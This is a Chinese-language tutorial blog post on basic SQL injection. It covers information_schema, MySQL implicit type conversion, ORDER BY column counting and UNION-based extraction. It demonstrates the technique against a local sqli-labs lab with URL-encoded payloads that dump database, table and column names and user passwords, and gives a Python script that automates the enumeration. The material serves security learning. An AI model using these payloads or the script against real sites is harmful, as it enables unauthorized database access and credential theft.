基础SQL注入原理

写在前面的话

文章截图MySQL环境版本5.7.31-0ubuntu0.18.04.1
基础SQL注入原理_第1张图片

什么是SQL?

SQL(Structured Query Language,结构化查询语言),是一种数据库查询和程序设计语言,用于存储数据以及查更新和管理关系数据库系统

说人话就是SQL可以理解为一种操作关系型数据库(这里关于什么是关系型数据库与非关系型数据库,可自行查询资料学习)的编程语言,既然是编程语言,就和C语言等其他语言一样具有自己的语法,有自己的规则,只是它只专注于数据库系统的操作。

什么是SQL注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或者过滤不严,攻击者可以在web应用程序中事先定义好的查询语句末尾添上额外的SQL语句,以此来实现对数据库服务器执行非授权的任意查询,进而获得更的的数据库信息.

MySQL重要数据库信息

information_schema库重要的结构信息

数据库 表名 字段名 备注
information_schema schemata schema_name 所有数据库名
tables table_name 所有数据表名
table_schema 表所属数据库
columns column_name 所有字段名
table_name 字段所属表

SQL几个特性

  • 对大小写不敏感
  • 弱类型语言

和PHP一样,SQL也是一门弱类型的语言,当你进行查询的时候如果输入的参数类型和所对应的字段类型不一致时候,会自动进行类型转换。

基础SQL注入原理_第2张图片
注意这里字段id是int类型
基础SQL注入原理_第3张图片
如上图,当我们使用where字句进行查询的时候,传入的id参数类型应该是数字类型,但是当我们传入字符类型也可以查询到结果,甚至输入’1sdfsdg’也可以查询到结果,显示有一个警告,通过show warnings可以查询到警告信息,可以很明显看到,当我们传入其他类型的时候,会自动进行类型转换,这就是弱类型的语言的特征,隐式类型转换

基本手法

  1. 寻找注入点 【黑盒测试 白盒测试】
    对于有数据库交互的地方都可能存在SQL注入,需要通过经验、工具或者代码审计寻找注入点。

  2. 查询字段数 order by
    order by 关键字后面可以是字段名或者栏位

    order by <cloumn_name/cloumn_num> <asc/desc> # 默认使用升序,即asc通常不写
    order by id asc; # 以字段名为id的栏升序排列
    order by 1 asc; # 以第一个栏位升序排列
    

    asc(ascend,上升)
    desc(descend,下降)

    在SQL注入过程中,当通过栏位进行排序时,如果栏位不存在时(即超过了字段数),就会报错,所以根据这个特性可以通过order by 进行字段数的猜解。

  3. union联合查询暴库

    select

    select语句用于从数据库查询数据

    union

    union用于合并两个或多个select语句的结果集

    注意:union内部的每个select语句必须拥有相同数量的列,否则就会报错。

    基础SQL注入原理_第4张图片
    如上图,当两个select语句列数量不一致时,就会报错ERROR 1222 (21000): The used SELECT statements have a different number of columns

演示

下面以sqli-labs演示一下基本注入,环境配置这里就不赘述了。

# 查询字段
http://127.0.0.1/sqli-labs/Less-1/?id=1%27%20order%20by%203%23
# 查看显示位
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%202,%203%23

基础SQL注入原理_第5张图片

# 爆数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%20group_concat(schema_name),%203%20from%20information_schema.schemata%23

基础SQL注入原理_第6张图片

# 爆数据表
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%20group_concat(table_name),%203%20from%20information_schema.tables%20where%20table_schema=%27security%27%23

基础SQL注入原理_第7张图片

# 爆字段名
http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20select%201,%20group_concat(column_name),%203%20from%20information_schema.columns%20where%20table_name=%27users%27%23

基础SQL注入原理_第8张图片
拿到表名以及字段名后,直接查询就可以拿到数据

http://127.0.0.1/sqli-labs/Less-1/?id=-1%27%20%20union%20%20select%201,%20group_concat(username),%20group_concat(password)%20from%20users%23

基础SQL注入原理_第9张图片

py脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: moddemod
# datetime: 2020/8/23 0023 下午 8:09 
# ide: PyCharm


import requests as req
import logging
import re

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
logger = logging.getLogger(__name__)
request = req.session()
# 注入点
base_url = 'http://127.0.0.1/sqli-labs/Less-1/'


# 获取字段数
def get_column_num():
    inject_url = base_url + "?id=1"
    for i in range(1, 10):
        url = inject_url + "' order by " + str(i) + "%23"
        text = request.get(url=url).text
        logger.info('第' + str(i) + '进行测试...')
        if is_correct(text=text, key='Unknown'):
            return i - 1
    return -1


# 判断,自定义关键字key
def is_correct(text: str, key: str):
    if text.__contains__(key):
        return True
    return False


def filter_result(text: str):
    # print(text)
    result = re.search(r'name:(.*)
'
, text) res = result.group(1) return res # 获取所有数据库名 def get_all_database(): inject_url = base_url + "?id=-1' union select 1, group_concat(schema_name), 3 from information_schema.schemata %23" text = request.get(url=inject_url).text database_list = filter_result(text).split(',') return database_list # 获取指定的数据库的表名 def get_spic_table(database): inject_url = base_url + "?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='{}' %23".format(database) text = request.get(url=inject_url).text table_list = filter_result(text).split(',') return table_list # 获取指定表名的字段名 def get_spic_column(table): inject_url = base_url + "?id=-1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='{}' %23".format(table) text = request.get(url=inject_url).text column_list = filter_result(text).split(',') return column_list def main(): # print(get_column_num()) database_list = get_all_database() # print(database_list) # logger.info(database_list) for database in database_list: print(database) table_list = get_spic_table(database=database) # print(table_list) # logger.info(table_list) for table in table_list: print(' ' + table) column_list = get_spic_column(table=table) # logger.info(column_list) for column in column_list: print(' ' + column) # 指定表名和字段名进行查询数据 def get_info_data(table, field): inject_url = base_url + "?id=-1' union select 1, group_concat({}), 3 from {} %23".format(field, table) text = request.get(url=inject_url).text result_list = filter_result(text=text).split(',') for item in result_list: print(item) if __name__ == '__main__': main()

基础SQL注入原理_第10张图片

你可能感兴趣的:(WEB,sql注入,python,基本原理)